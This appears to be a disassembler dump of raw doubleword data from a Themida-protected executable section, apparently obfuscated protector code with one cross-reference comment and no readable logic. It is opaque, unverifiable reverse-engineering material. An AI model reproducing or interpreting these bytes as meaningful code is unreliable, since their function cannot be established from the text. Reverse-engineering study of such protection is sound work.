850F0106h, 40h, 8A9BD8Bh, 26A0648h, 8950FE8Bh dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 228DF2C3h, 9D8BD2A0h, 648155Dh, 23E195FFh dd 9D8B0648h, 6480E19h, 0D02E9h, 0E800h, 815D0000h, 4D0F53EDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0EA94D76Dh, 9D037CE4h, 648063Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 16C35747h, 0B58B60A9h dd 6482171h, 52F18166h, 0BD8B6151h, 6481E2Dh, 9744858Dh dd 2950064Bh, 480FAD9Dh, 0B7505F06h, 24048998h, 1EE18589h dd 0E9560648h, 0Dh, 0DDF9AD2Ch, 7801CEF6h, 1BD70ABBh, 0FF645B89h dd 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 6CC8F5F8h, 89645EE5h, 25h, 6800F00h dd 81000000h, 10D72EE3h, 2D85FF4Bh, 6A06480Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0DEC0C357h, 8D120AACh, 7EBBC2h, 0FF6A0C0Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 45C35747h, 0AD858939h dd 8A064822h, 3DB5FFFAh, 0B06481Eh, 48154DBDh, 0A595FF06h dd 0E906480Ah, 13Ah, 0D1D78166h, 0D19D0973h, 0B006482Dh dd 918D8900h, 0E6064821h, 0AE870h, 0FA980000h, 56A242Ah dd 0CB67D726h, 0CD9BD8Bh, 0E45B0648h, 0AD8D8971h, 3C064818h dd 0FF830F61h, 33000000h, 482E85BDh, 0C8B60F06h, 0FE8B660h dd 0BA61CBBFh, 6, 2169BD8Bh, 9D010648h, 6482D59h, 12E9C18Bh dd 69000000h, 657289E5h, 0BE9DA013h, 0F5790434h, 3A97029Fh dd 4E8C1F9h, 23699589h, 0F7660648h, 55BD8BE2h, 2B064822h dd 858D89C8h, 8B06480Ch, 4830B1BDh, 89D18B06h, 4815AD95h dd 98E906h, 85310000h, 64824A5h, 4C858BF8h, 8B505F4Ch dd 480109BDh, 0FDB50106h, 8306480Ch, 9D8B07C0h, 6482919h dd 8B00C083h, 0FD03BDFh, 1C83h, 8E800h, 66C0000h, 0AF66549Ch dd 0BF0F75B7h, 53E95FFBh, 60000000h, 0DFB7CE8Bh, 0FF8D8B61h dd 66FFFFFFh, 8382D0BFh, 840F01E1h, 3Ah, 10E9h, 62602300h dd 0C065E11Ch, 2BD81EBh, 0D5602C7Dh, 0FFA58314h, 0FEFFFFFFh dd 13F1BD89h, 95890648h, 505F4C4Ch, 38A0Fh, 0B70F0000h dd 54BB66D9h, 0E964h, 0B58D0000h, 64C90A7h, 8E8h, 0D89D600h dd 0D303E876h, 8B6660ECh, 7E9D0h, 0DDCC0000h, 48E7A7ABh dd 6A5B61DFh, 2BB6600h, 6195FFDEh, 6A064830h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0C44C357h, 168720Ah, 482E29BDh, 0E1958906h, 0B9064819h dd 0F39h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 6BC35141h, 8C3FA23Dh, 18E7B741h, 0E183F98Bh, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0C2638E50h, 0C439DC68h, 1D71BD89h, 9D8B0648h, 6480C55h dd 0B8FCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0CAA2F6C3h, 0C436C7Eh, 0BF55C17Bh dd 1AD43DB7h, 0DE8h, 0DAE9E600h, 16C4C85Dh, 0C07ED6FEh dd 0B50114CAh, 6481EF5h, 6AD22B5Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7B16C357h dd 0E8ACA4D3h, 0AAB6BF66h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h dd 9D5369F3h, 6FF92FBFh, 2DA59D31h, 0BB660648h, 880D1638h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0C96FC357h, 343A48DCh, 0F518F4A0h dd 0A19958Bh, 0BF0F0648h, 358D8BD9h, 6A06480Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0D949C356h, 0CF9004ADh, 0BF0FE702h, 0C28B50FFh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 676DD381h, 19A5BD83h dd 0F000648h, 0B684h, 85895000h, 6482769h, 9E85Bh, 98C10000h dd 92FA3006h, 8138CA8Ch, 62C824D7h, 0B85F08h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0DF33C350h, 20EAB8A9h, 0FBBF0FF8h, 32C98D31h dd 8D8D0648h, 6484B64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 78C35343h, 52189F4Bh, 291C00Bh, 0AE85609h dd 6B000000h, 0B1611256h, 6C4275C5h, 0A19D8B27h, 5B064808h dd 6AE1FF5Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0D426C356h, 0D1BD3142h, 83064823h dd 482425BDh, 840F0006h, 379h, 1BFD9D89h, 0BD830648h, 6482425h dd 81840F01h, 80000003h, 0CE98DEBh, 40000000h, 37539BFBh dd 4023FB68h, 831285F7h, 482425BDh, 860F0306h, 32Ah, 6870Fh dd 0BD330000h, 648326Dh, 95BD8B60h, 66064830h, 0E960D98Ch dd 8, 991E9A51h, 5240D8C3h, 8B61CF8Bh, 482EADBDh, 4E18006h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h dd 0F4FD108Bh, 0B8881287h, 6860Fh, 9D310000h dword_58E268 dd 6482159h, 840FC90Ah, 0E5h, 0E856006Ah, 3, 5EC35E20h ; DATA XREF: Themida_:off_557435o dd 4247489h, 4244481h, 19h, 0D1C35646h, 287F6F06h, 60605298h dd 96E28161h, 61064023h, 95BD8B5Fh, 8B06482Bh, 48238585h dd 0E19D8B06h, 3306482Bh, 482AC985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8AF9A08Fh dd 8B90BB4Ch, 665050D8h, 5F0545BBh, 13E990h, 20A50000h dd 26BD7DEDh, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h, 6A006A5Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0E1D7C352h, 657A3ACEh, 0EDBD8BABh, 6806482Eh dd 3233E75h, 3481D88Bh, 3C3D8A24h, 95FFF903h, 6481C01h dd 2C29BD23h, 85890648h, 64BB92Ch, 0B5095F56h, 6481F89h dd 14EE9h, 1FBB6600h, 24858BDFh, 6A064BB9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F0D7C351h dd 716508FEh, 182EB038h, 1800C7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F3BEC2C3h dd 0ECF99A6Ah, 0E9F32CD6h, 8, 0BA60CB0Ch, 7B3BE6CAh, 709BD8Bh dd 0B58B0648h, 64BB928h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0D5C35141h, 9CAE3FF4h, 858B28B7h, 6482BF1h dd 254DBD8Bh, 6890648h, 68A0Fh, 0BD890000h, 6482869h, 2385858Bh dd 5E90648h, 0FF000000h, 4754CB00h, 66044689h, 50C375BFh dd 42F6BF66h, 0F8243489h, 0B924B5FFh, 3D68064Bh, 60DDF6FFh dd 0B77DE3BFh, 0BE80Ch, 351C0000h, 11E8C4AAh, 0ED2268C8h dd 0F525077h, 5F585A31h, 24048161h, 222804C2h, 232D9D89h dd 858D0648h, 64BB92Ch, 0FD19D8Bh, 50900648h, 0AE80BF60h dd 0C5B82F41h, 6116964Ch, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 8B320497h dd 0FF9DCFB1h, 481C0195h, 598D8906h, 6106482Ah, 0A85BD8Bh dd 85C70648h, 6482425h, 3, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 39C35040h, 6668B847h, 8346B6BBh, 4BB92CBDh dd 840F0006h, 52h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 8EC35141h, 880F833Bh, 1, 43E9F8h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 5FCBF9C3h, 0D1E88423h, 80CE7B83h, 305084C3h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0D78166C0h dd 6AA7E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 68BDF7C3h, 0F458D01h, 0BD830648h, 6482425h dd 0AF850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0EB46C352h, 2419AB1Fh dd 8B666053h, 8361F9CBh, 4BB92CBDh, 840F0006h, 37Ah, 0FFD98B66h dd 4BB92CB5h, 0DEBF0F06h, 0E3595FFh, 0BF660648h, 0B58B4D05h dd 64BB920h, 0D3DB589h, 85890648h, 6482051h, 106C7h, 8B660001h dd 0BA6096DFh, 2423488Ah, 0BE9h, 2D20E500h, 35AF5433h dd 8C9911BBh, 0BB665061h, 0BB96DF91h, 32EEFB37h, 0B92CB5FFh dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 9304BC3h, 5DC7485h, 89B156B8h, 4805E985h dd 51BD8B06h, 0FF064810h, 481D5995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0D2829AADh dd 0BD8B400Bh, 6482149h, 0B920B58Bh, 6A064Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5172DDC3h dd 7E3731Bh, 0FFA32ADh, 38Fh, 0FFD78000h, 1049858Bh, 0B5090648h dd 6481D75h, 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0F18FE4C3h, 8BD98B6Ch dd 480A1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0F4BDEB6Ch, 0F20FBC7h, 83FCDABFh dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0C59AAEC3h, 43C04D20h, 0BB496F00h, 86400ECh dd 0FE8h, 0EADF9E00h, 6672709Dh, 869433EDh, 0B94B423Ah dd 5BFFB70Fh, 60205089h, 0B2EEEE81h, 61F90B9Eh, 0CE09858Dh dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 7E5E20C3h, 0E318D89h, 85090648h, 64800F9h dd 0B88689h, 0B70F0000h, 6A006ADBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F7A7C352h dd 2EDDB529h, 0B5FF0648h, 64BB92Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 78C35545h, 6870Fh, 0BD890000h dd 6482965h, 23E195FFh, 8D890648h, 6483089h, 5D69BF50h dd 34895CD9h, 0B5FFF524h, 64BB92Ch, 0FBBBBB66h, 0E2D95FFh dd 0B600648h, 4828A59Dh, 61D6B206h, 1CA1BD83h, 0F000648h dd 2A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 2FC9D0BDh, 325F5423h, 89FB8B50h dd 0FFF82434h, 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8B6F4Ah dd 64804FDh, 271995FFh, 2FB30648h, 0B92CB5FFh, 95FF064Bh dd 6480B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 7DC35646h, 9B3FAB3h, 31F8E436h, 4804E985h, 0CDBD8306h dd 206480Ch, 52840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 777E77C3h, 0E679C792h dd 858B06B3h, 6480FD5h, 0C676F780h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 369F09C3h dd 323DFB22h, 0E6985C7h, 648h, 11E80000h, 0BA000000h, 0B91CDA6Eh dd 0FA1377B5h, 0CBCFCF13h, 0D9AE1265h, 0F93793BBh, 43E95B27h dd 6AFFFFF4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0F03DC355h, 6BD4B504h, 0BB6692D7h dd 0C18B5854h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0AC35747h, 54304086h, 8DF8BF0Fh, 4832FD85h, 10E906h dd 28320000h, 5BE710B5h, 1694106h, 2908D241h, 6650BE32h dd 8927A3BBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 14D8A7C3h, 0CD99D29h, 6A0648h, 9D8D89F8h dd 6A064825h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 64E988B9h, 87C846BBh, 9D312866h dd 6482341h, 8DDBB70Fh, 4D1DE885h, 0ADBD8B06h, 8306480Eh dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h dd 9D33C0C3h, 6483035h, 0AD2F11BFh, 4895068h, 2DB52924h dd 6A06482Ah, 89006A00h, 480EC98Dh, 5880F06h, 0BB000000h dd 30DE4452h, 277D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 4A7354C3h, 0D965BB17h dd 10BB4A16h, 8D04AFCAh, 4B9C148Dh, 499D2306h, 6606482Ah dd 0FF1AD4BBh, 6890FD1h, 0F000000h, 85h, 49BD8300h, 1064819h dd 69850Fh, 5E90000h, 1000000h, 0D471C9FAh, 8B60026Ah dd 4819C19Dh, 8E906h, 0C7670000h, 0ADE4A1F4h, 906123A1h dd 11E8h, 0A26F9300h, 85630709h, 2097C836h, 9F6FA6EFh dd 0BF66C6DCh, 505FCF23h, 2F0951BFh, 0B5019053h, 6481011h dd 23E195FFh, 0EE80648h, 0D4000000h, 0A0AC1CBFh, 372C1A7Ch dd 711B1F9Bh, 45CFBF96h, 0E95F3952h, 0E4Eh, 0E8h, 0ED815D00h dd 64D1DF2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 30C35040h, 0F429A2CFh, 0FEEC4113h, 89BD89ECh, 6A06480Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 80C5C353h, 0BF6669C7h, 858D360Eh, 64B9744h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B2C35040h dd 4AAFE35Bh, 8589A98Bh, 6482AD1h, 0BF665090h, 669092ECh dd 6488A8BFh, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 76DB08C3h, 1CF6EF81h dd 9E941D4h, 0B000000h, 413BB4E2h, 3A76CF44h, 258964h dd 9000000h, 4823D99Dh, 2D85FF06h, 6A06480Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0C0DCC357h, 0B89D22F8h, 0BE8FF6Ah, 45000000h, 0E01170B2h dd 10998D13h, 0BD33169Bh, 6482F69h, 5B5FF5Bh, 0BB06480Dh dd 46F5577Dh, 0AA595FFh, 0F0E90648h, 60000000h, 18B5BD8Bh dd 11E80648h, 5000000h, 0E1113358h, 82EC4540h, 38C194E4h dd 8B4E2160h, 46E68166h, 0B0615F17h, 0D8B70F00h, 0BD3170E6h dd 6481551h, 0EF8071E4h, 0F613C15h, 0B283h, 25B58900h dd 0F06481Dh, 8166C8B6h, 0BA84ACDFh, 6, 1EE99D89h, 0C18B0648h dd 6890Fh, 0C7810000h, 7831683Dh, 2904E8C1h, 481D5185h dd 0E2F76606h, 0B7C82BF5h, 0BBD18BCEh, 528F4947h, 6EE9h dd 0DF816600h, 858B4AF5h, 4947554Ch, 836AF380h, 0BD8B07C0h dd 64830C1h, 3100C083h, 481B2D85h, 0FD03B06h, 1483h, 719D8B00h dd 8906482Dh, 482A498Dh, 35E906h, 8B660000h, 0FF8D8BFAh dd 1FFFFFFh, 48206985h, 1E18306h, 1D840Fh, 0A5830000h dd 0FFFFFFFFh, 519D8BFEh, 89064823h, 47554C95h, 0D04CBF49h dd 0E94AFFh, 8D000000h, 4C9FE0B5h, 9E806h, 16A60000h, 0E15B28F8h dd 8B3A2FEAh, 48068DBDh, 0EB815F06h, 3F5FA61Ah, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BF1617C3h, 12BED2Eh, 816F5EB3h, 0C8E8DADBh, 6195FF40h dd 6A064830h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D067C355h, 9D737D13h, 0EF81669Fh dd 0E8B99CEDh, 6A00000Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0F2EDC352h, 0DB9B03F0h dd 0E183739Bh, 9E9FCh, 4F550000h, 0DE9676C3h, 0FC443FAAh dd 65958B60h, 0B106482Ah, 0C02B61C5h, 9E8h, 0A84B500h dd 0E810B0DAh, 0FA8B75EDh, 0BA5Fh, 0BD310000h, 6482541h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0A0D5A9BFh, 9FE3803Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 81C35040h dd 523E80C3h, 97AE0821h, 0E8F2BBB6h, 880D2343h, 0F000000h dd 68Bh, 8CF38100h, 8B2862ADh, 480A1995h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 68D0F94h, 8B000000h, 4821C59Dh, 8EBB6606h, 358D8BF2h dd 0F06480Fh, 68Bh, 55B50100h, 50064830h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0FC7EDAC0h dd 56888B8Bh, 14058589h, 6A5F0648h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 9566C350h dd 0E91AD311h, 0Bh, 5D2238E3h, 6661E140h, 83921112h, 4819A5BDh dd 840F0006h, 74h, 8CD8529h, 0B80648h, 60000000h, 309D9D03h dd 858B0648h, 6480DBDh, 648D8D61h, 6A06484Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 5716C352h, 13E9h, 0FF159F00h, 0C0EDB50Fh, 85A17723h dd 6B829D9Ch, 0AE4CAF35h, 6AE1FF5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A27C353h dd 2425BD83h, 0F000648h, 47384h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 5E453A5Bh dd 0F4E17DC9h, 0BF0FDCABh, 25BD83D9h, 1064824h, 459840Fh dd 0BF0F0000h, 25BD83FAh, 3064824h, 413860Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 5BE1FAC3h, 0C889EB88h, 6E95270h, 0CE000000h, 5A77361Ah dd 6A605F6Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 66FBC350h, 8166DF8Bh, 66F333F7h dd 9589D98Ch, 6482BF9h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6791C356h dd 8C3A7055h, 816639F2h, 0A7E4AE7h, 10840FC9h, 0B7000001h dd 85858B6Ah, 89064823h, 481A2995h, 0C9853306h, 8B06482Ah dd 4BB50D9h, 8939D5CEh, 0BD0B2404h, 6482BF9h, 0FCBF006Ah dd 6610D21Ah, 4E8FB8Bh, 0FF000000h, 60001F03h, 0F56D88Ah dd 8Ch, 50615A00h, 0F664BF53h, 8B5F1468h, 51042444h, 8B5FF98Bh dd 50525000h, 0DF8B6652h, 1DBB310Fh, 5A15C229h, 50310F58h dd 840F52h, 0F000000h, 5A585A31h, 24448958h, 8E904h, 1630000h dd 85200DBBh, 6658ED15h, 8960FA8Bh, 480A159Dh, 68E0F06h dd 89000000h, 482E9DBDh, 95FF6106h, 6481C01h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BEC35343h, 0F06E7069h dd 8589B96Fh, 64BB92Ch, 0CE8h, 10054400h, 519B21D7h, 0FE984902h dd 0E0C381E0h, 5B0711C2h, 219E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 359C9D1Eh dd 919D312Ah, 8B06480Dh, 4BB92485h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0DAF3AE8Ch dd 724DEA2Fh, 10E861h, 0CF720000h, 0C4576B54h, 19E4DD47h dd 837732Fh, 0C3810B14h, 4C94E548h, 8B66605Bh, 880F60CFh dd 0 dd 8E0Fh, 61610000h, 1800C7h, 9D8B0000h, 6481F21h, 0B928B58Bh dd 858B064Bh, 6482BF1h, 0FE9h, 0F6746700h, 0B4318117h dd 731960C0h, 2BB9BA79h, 6A0689h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 4B5258C3h, 0FE9h, 0F4509B00h dd 0A818F5C8h, 13CEB84Dh, 91E3A543h, 2385858Bh, 8E80648h dd 0D7000000h, 0A11AAB0Ah, 0B3651212h, 880F5B10h, 0 dd 0E8044689h, 8, 151D1870h, 2F21E3F5h, 505BD98Ah, 89DE8B66h dd 13E92434h, 19000000h, 0BAB4A381h, 99E95736h, 99B05934h dd 0F653AC1Dh, 0B5FF6FB4h, 64BB924h, 1585BD8Bh, 0E8680648h dd 0E8128A07h, 11h, 8260CA0h, 0B3E0713Dh, 498E568Fh, 0BC435CFCh dd 28C0F37h, 60000000h, 34815B61h, 95041724h, 51006A12h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0C202A0F2h, 17B2E211h, 858D1B9Dh, 64BB92Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1EC35343h, 0FB9D738h dd 9FBFDAB7h, 902D85C1h, 0AC58BF50h, 505B69A9h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FF0AE877h, 481C0195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 4F55D47Fh dd 0DE9676C3h, 91858B60h, 0F06482Dh, 488h, 96BB6600h, 6A616136h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 1AD4C352h, 88A9D14h, 6635C571h, 0A74FCB81h dd 242585C7h, 30648h, 0CF800000h, 0A9BD89C2h, 8306480Ch dd 4BB92CBDh, 840F0006h, 35h, 9E9h, 27A0FD00h, 1C45B055h dd 3DE99F12h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B92C356h, 4824D1BDh dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 43C35242h, 9490A37Dh, 234591ADh, 719D8BAAh, 8306481Ah dd 482425BDh, 850F0306h, 4B0h, 83D9B70Fh, 4BB92CBDh, 840F0006h dd 4A0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0A3C35040h, 661E6884h, 0B2C2D781h, 0B92CB5FFh dd 8166064Bh, 0FF191EEBh, 480E3595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6E71A32Ch dd 8B3159E7h, 4121BBD8h, 0B58B3661h, 64BB920h, 2031BD8Bh dd 6C70648h, 10001h, 101BF66h, 0BB665096h, 6A966CC8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 507AC353h, 3FA587DDh, 8E88F29h, 18000000h, 0CC2DF46h dd 66ECCA48h, 8C0BE781h, 2CB5FF5Fh, 6A064BB9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A34C350h, 0F4A1AEAh, 68Bh, 0F19D3100h, 56064826h, 13F38166h dd 0BD015FCAh, 6482909h, 1D5995FFh, 0BF0F0648h, 20B58BFBh dd 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 98C3C353h, 0FE3FB28h, 858B3CC9h dd 6481049h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 35C35141h, 0EDBD29F3h, 0E906480Ch, 8, 0FD4A9158h dd 0AC862EF6h, 0C48689h, 0FE80000h, 21000000h, 426043E0h dd 79F2CC69h, 92CE099Bh, 8B605B38h, 4825218Dh, 0F1BD8906h dd 6106481Fh, 19958B5Bh, 6A06480Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 61E4C356h dd 0E4FA6AD3h, 0E465CD4Ch, 6A04C283h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D81EC351h dd 1CF66B55h, 0E8C4AA35h, 5089F98Ah, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 7290D177h dd 0A9875146h, 858D5B56h, 64BCE09h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 68C35242h, 0A20CC77h, 0D41C870Eh dd 75B58930h, 6006481Fh, 25F9858Bh, 8D890648h, 6482791h dd 0B8868961h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 34C9C356h, 0B38C3109h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 75D27CC3h, 0FE9h, 5133800h, 77FE1935h, 2C819812h dd 7192B104h, 12E953h, 5CD20000h, 0F2827AD9h, 63B8281Fh dd 0F7E443C4h, 0C58D67F9h, 2CB5FF5Bh, 8B064BB9h, 480EBD9Dh dd 0E195FF06h, 81064823h, 85D194E3h, 91950176h, 5006480Ch dd 29D7BB66h, 0BB243489h, 74A95A4Eh, 0B92CB5FFh, 6A064Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9E1C71C3h, 0FF68E639h, 480E2D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 5FF71A49h dd 123CF1BFh, 52BF66FFh, 0A1BD83C8h, 6481Ch, 60840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E6A3EBC3h, 4FD94B22h, 0BF661907h, 8D8985A5h, 6482C69h dd 0BB50F88Bh, 52B19E62h, 6A243489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 6F48C355h dd 895241C1h, 48203D95h, 0B5FF5B06h, 64BB92Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 78C35545h, 0CC971444h dd 85374640h, 0BE9h, 0D1662E00h, 0D9EB7851h, 3E2CB32Fh dd 271995FFh, 0B5FF0648h, 64BB92Ch, 8870Fh, 8E0F0000h dd 2, 95FFDD8Ah, 6480B41h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 41C35040h, 3916B4Eh, 480EE5BDh, 699D8B06h dd 83064827h, 480CCDBDh, 840F0206h, 3Eh, 5DBD8B53h, 5F064819h dd 0FD5858Bh, 0BF660648h, 0C6D068h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8C0F2DEEh dd 2, 0BB669EB7h, 85C7E614h, 6480E69h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 15C35242h dd 32699589h, 0B5290648h, 6482EF5h, 0FFF2DFE9h, 99D23FFh dd 8B06480Dh, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FCCFB0FFh, 0F399D03h, 8D8D0648h dd 64D2D30h, 8D0Fh, 7E90000h, 7000000h, 0DF167792h, 8D89D852h dd 6480A19h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 